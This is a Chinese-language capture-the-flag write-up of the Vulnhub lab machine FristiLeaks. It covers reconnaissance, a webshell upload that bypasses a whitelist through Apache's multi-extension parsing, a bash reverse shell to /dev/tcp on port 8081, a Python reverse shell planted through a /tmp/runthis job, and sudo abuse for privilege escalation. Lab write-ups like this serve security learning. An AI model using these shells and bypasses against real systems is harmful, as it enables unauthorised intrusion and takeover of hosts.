Vulnhub-Fristileaks
靶机的待打清单
下载链接:Fristileaks
信息收集
nmap
目标机器只开放了一个80端口,所以枚举是关键!而且nmap发现了三个目录
nikto
并没有给我们什么有趣的东西。
网站路径探测
网站index
然而nmap找到的三个目录都是这个页面。。
用了很多个字典都跑不出来什么东西,甚至一度以为是隐写术。。
但是最后靠着这个图片的最后两个单词找到了正确的路径。。。
右键查看源代码会发现些有趣的东西
可以猜测到这是用户名
这段内容的base64解密之后是一个png图片
用python写成一个文件后得到一个图片
1 | import base64 |
很有可能是一段密码,尝试用这个用户名和密码登录后,发现一个上传点。
漏洞利用
尝试上传一句话木马,结果发现是白名单验证。
尝试apache多后缀解析漏洞,上传一个yjh.php.jpg的文件。
成功上传,但是不知道能不能成功解析。
成功解析,用蚁剑连接上去后。反弹一个shell回来
1 | bash -c 'bash -i >& /dev/tcp/192.168.40.228/8081' |
我觉得我这里直接上传php-reverse-shell更好。。。
提权
先打开一个tty方便后续操作
这里试着用找到的数据库密码切换用户,但是不成功。数据库的用户也没有root权限。
不过在eezeepz的家目录下找到了一段关键信息
提示我们可以往/tmp/runthis下写一个命令,但是命令必须以/usr/bin /home/admin开头。执行的日志也会生成在/tmp下。
我在这里比较笨,尝试了很多无用的操作。。最后想到为什么不直接用python反弹一个shell呢,因为python的目录在/usr/bin/python。。
以下是我的无用功记录
最后是通过python反弹了一个shell获得了admin的权限。
1 | import os,socket,subprocess |
虽然获得了admin的权限,不过admin的权限也是十分的有限。
不过admin下面有几个有趣的文件
较为关键的文件是cryptedpass.txt,cryptpass.py,whoisyourgodnow.txt
认真读了cryptpass.py后,发现是将一段字符串先进行base64加密,然后再反转加密后的字符串,最后进行rot13颠倒。(其实这里在拿到webshell之后认真读了的话,早就直接提到fristigod了。。
将whoisyourgodnow.txt进行以上的操作后,得到fristigod用户的密码。切换到fristigod用户后,sudo -l。发现这个用户可以执行一个不知道是什么的文件
去/var/fristigod
目录查看后,发现日志文件。查看日志文件获得提权线索。
直接照着历史记录的运行命令试试
1 | sudo -u fristi /var/fristigod/.secret_admin_stuff/doCom |
提权成功!
总结
在拿到web-shell之后我就可以直接提权到fristi用户,但是因为不够仔细,没有去看那几个重要的文件。在提权到admin用户的时候,除了python反弹shell之外。也可以直接将admin的家目录修改为777,让任何人都能去看,这样我们也能随意进出admin的家目录了。所以其实提权到admin的动作是多余的。不管提不提权到admin都不会影响到最后提权fristi用户的操作。